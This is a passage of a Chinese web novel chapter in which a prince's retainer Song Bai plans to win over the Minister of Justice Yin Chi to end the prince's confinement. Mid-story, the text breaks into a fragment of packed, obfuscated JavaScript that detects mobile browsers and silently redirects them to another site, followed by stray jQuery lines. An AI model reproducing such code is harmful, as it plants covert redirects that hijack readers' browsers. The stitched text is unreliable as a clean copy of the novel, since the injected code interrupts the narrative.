陆洲被驳回了一条也不气馁,又迅速换了一条原因:“第四,本王作为领头的,思考问题不够全面,处事不够机警,遇事决策不够冷静。”
这可真是十分深入的剖析自我,关默大恸:“殿下此言叫我等汗颜,我等身为殿下的门客,竟不能为殿下分忧,还叫殿下费心……”陆洲拍了拍他的肩膀,作勉励状。
宋白打断主臣两人的惺惺相惜:“殿下此言不错,关兄这话也对,我等未能替殿下分忧,是我等之错。但殿下也有错,错就错在格局不够大。”
陆洲这辈子还没被人这么直白地说过错处,一时间还挺新奇:“格局又是怎么说?”
宋白站起身来,陆洲书房上方悬着一块牌匾,上书“厚德载物”四字,她抬首,目光落在牌匾上,慢慢开口:“《周易·坤》有言:‘地势坤,君子以厚德载物。’殿下以君子言行要求己身,这是您的格局。但从此事来看,您的君子言行并不到位。虞山王挑衅,您为何要应下?蹴鞠赛赢了他,您暂时都已经在不败之地。”
陆洲摸了摸鼻尖,没好意思说话,本来是说给宋白报仇的,谁知道……
见他们两人都不说话,宋白也不逼问,默契略过这一截,直接道出结论:“殿下当站在更高处,看到更远处。”
陆洲怔了怔,这话以往也不是没有人说过,他穿着沉重的盔甲走过一路血海,见过皑皑白骨上长出的花,漫天是散不开的乌云,落下的雨滴砸得他眼眶生疼,曾经也有人低着头和他说话。殿下只有站在最高处,才能……
他低低应了声:“你说得对。”
宋白立时觉察到他神色不对,心念一转,话风又柔和起来:“只是属下只做过臣属,不知更高处是什么,这话说的也不尽然。如今原因差不多都写好了,那该总结规律了。关兄,劳烦你写上。”
关默立即抄起炭笔上前一步,陆洲默不作声让开,心里有些打击,格局不够大就不能继续写了吗?
宋白思索了会,根据列明的原因指点关默一一对应:“首先,这种聚众事件必须事前报批备案并做好意外预案,若事关重大还得演练几遍才能实行。”
虽然不知道事前报批备案是什么意思,但关默还是仔细写下,然后才问起。宋白简单解释:“大概就是先告知能共同分担责任的人,要真出了事就谁也别想往外摘。”
其实她想说先告知皇后,要真出事,皇后自然知晓前因后果,能以最快速度帮儿子转圜。不过就这回这种事,先报给皇后,皇后估计会先教训他们这群门客的教唆之罪。
不待宋白继续说,陆洲便根据这个例子将其他几条规律道来:“其次,对于陆渚这种情况,其实可以当面警告,叫他们不许出门乱说,本王那夜的提醒还是隐晦了些。”叫那头猪皇兄,还给他叫出优越感来了。
“第三,面对他人挑衅,绝不能情绪上头,要沉稳冷静应对。”
宋白同意:“对,虞山王气性大心眼小,处事不够周全。属下认为,往后虞山王再行挑衅,可以当面应下,不付诸行动,叫他自讨苦吃。比如这回,您和虞山王同被禁足,看似公平,可对于您是有其他影响的。”
虞山王在外名声本就不佳,朝臣都知道他嘴巴毒,再多一条顽劣不堪的罪名也不新鲜。可陆洲在外名声颇好,洛京谁不知道当今长陵王是个意气风发的翩翩少年郎?
可这少年郎竟然私下这么顽劣,并不像传言那样光风霁月、侠义心肠,朝臣觉得窥见了他不为人知的另一面,这才是对陆洲最大的惩罚。
听宋白说完,陆洲后知后觉:“我还以为破财是最大的惩罚,还想那算命瞎子算的还挺准。”
宋白:“……您还信算命?”
陆洲仰头看房梁:“……也不能说信吧,就是看那瞎子算的挺准……”
宋白半信半疑,没再就这个问题继续讨论算的准不准,而是终于道出今日来的终极目的:“殿下,禁足三月太久了,咱们不能光在府中等着解禁。”
关默笑道:“小宋你这可是没想到,再过一月便是年节,到时候殿下自然要入宫,这禁足也就一月罢了。”
宋白也想到了这回事,但谁知道剧情怎么设置的,原书里就写虞山王和长陵王这对兄弟就连过年都没出现在宫中宴席上。她正色道:“就算一月,外边能做多少事去?若等宫宴,还不知有多少变数。”
关默细想想也是,陆洲沉思:“那你有什么想法?如今你们跟着我都不能出门,母后在宫中虽能转圜,但父皇必会顾忌大理寺卿的谏言,也不会听母后的。”
宋白轻呼一口气:“殿下方才也说了,是顾忌大理寺卿,所以,解禁这事要落在大理寺卿身上才有可能。”什么都不干等三月过去,怕是任暄都要和文正帝父子相认了!
对,安远侯世子那厮是文正帝流落在外的亲儿子!
她继续道出自己的计划:“虽然咱们都不能出门,但陛下并未禁止王府仆从出门,也未禁止其他人上门拜访。请殿下立即准备一些礼物并修书一封,写明夜闯颜宅的愧悔并道歉,末尾以寥寥数语写一写那高阁鬼影之事,说明是您听见和看见。叫人送去大理寺卿府上,以大理寺卿对颜宅的关注,必然会亲自上门相询。”
“可他若上门问,我也说不出更多的东西来。”陆洲仔细回想,“除了那影子和响动,其他看起来都很正常,这么点东西怎么能让殷迟感兴趣?”
宋白眼底一闪,露出了今日的第一个微笑:“属下不才,那日匆匆走过,倒看出一点疑点。若大理寺卿上门来,烦请殿下代为引见。”
陆洲少年心性,一听有疑点,连忙追问:“到底是什么疑点?你就去过那一回就知道了?”连关默都忍不住目光灼灼,都想凑到宋白脑子里直接看她到底发现了什么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202033|197228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>宋白却卖了个关子:“是疑点不错,不过不知道大理寺卿是不是已经发现了,也不知有没有用,暂且就不说了。若大理寺卿到访,属下届时会与殷寺卿好好聊一聊。”
陆洲立即叫管家备好厚礼,亲自写了一封致歉信,其实前几日当朝就已经和大理寺卿道过歉了,但殷迟那人脾气比石头还硬,只冷冷哼了一声。
如今只写字,不用看殷迟的脸色,他文思泉涌,道歉道得十分诚恳,最末一段写的高阁记事也很玄乎,叫人一看就想追问内情。
礼物和信送出后,宋白琢磨着殷寺卿最早也得等下值之后才能看见,若他着急,明日就会上门来。
不过她还是低估了殷迟对颜宅的在意,当夜殷迟便冒着夜色孤身一人来访。
宋白被叫到了王府书房,一进门便看见一位中年男子坐在椅上,身上还穿着官服,年约四十,面色不像传言那般冷酷,若光看外表甚至透着些许温和。只是额头与眼尾有些皱纹沟壑,比之寻常这个年纪的人更显老态。
她上前见礼,殷迟略点了下头,注意力并不在她身上,直接问陆洲:“王爷说等宋公子来便可以说,如今可以说了?”
陆洲暗暗瞅一眼宋白,这才开口:“并非本王故意拖延,实则这事全靠本王的门客宋白提醒,本王才想起一二。那夜虞山王身后有个随从尖叫说看见鬼影,不过是个胆小之人,本王并不信他。不过待本王看过去时确实看见有道影子掠过,那夜月色明亮,高阁二楼窗户大开,不像是看错了,另外有些细微响动,听起来像是鼠动。”
殷迟沉思了好一会才慢慢开口:“听闻王爷曾于战场百步穿杨,目力极佳。习武之人耳力更佳,应当不会看错听错。”
这也是宋白强调要由陆洲手书的原因,陆洲的武力值和身体素质以及以往的好名声都是强有力的佐证,若换虞山王说他看见听见,殷迟肯定不会这么相信。
宋白适时彰显存在感:“殷大人有所不知,我们殿下武艺高超,任何一点风吹草动都逃不过他的眼睛。那夜冒犯擅闯颜府,也是因为我们殿下前些日子听见里头有些响动,又听闻殷大人许久不曾到访颜府,于是在虞山王殿下相邀时,我们殿下才顺势应下,也是想弄清楚里头到底是什么东西。万万没有想到竟险些破坏了案证,我们殿下心中十分悔恨,因此想到些许疑点,定要说与殷大人听听。”
殷迟这才把视线落在眼前这个过分瘦弱的少年人身上,看着不过十六七岁,面容雪白俊秀,一看便是养尊处优的贵公子,不像是依附王府生存的门客。
不过他也不关心少年的身份到底是何,他只关心颜家灭门案的疑点,只要长陵王能给出有用的信息,他自然投桃报李,回禀陛下解了长陵王府的禁足。
“不知王爷发现了什么疑点?”殷迟盯着陆洲问。
陆洲:“……”宋白这小子可真会颠倒黑白啊。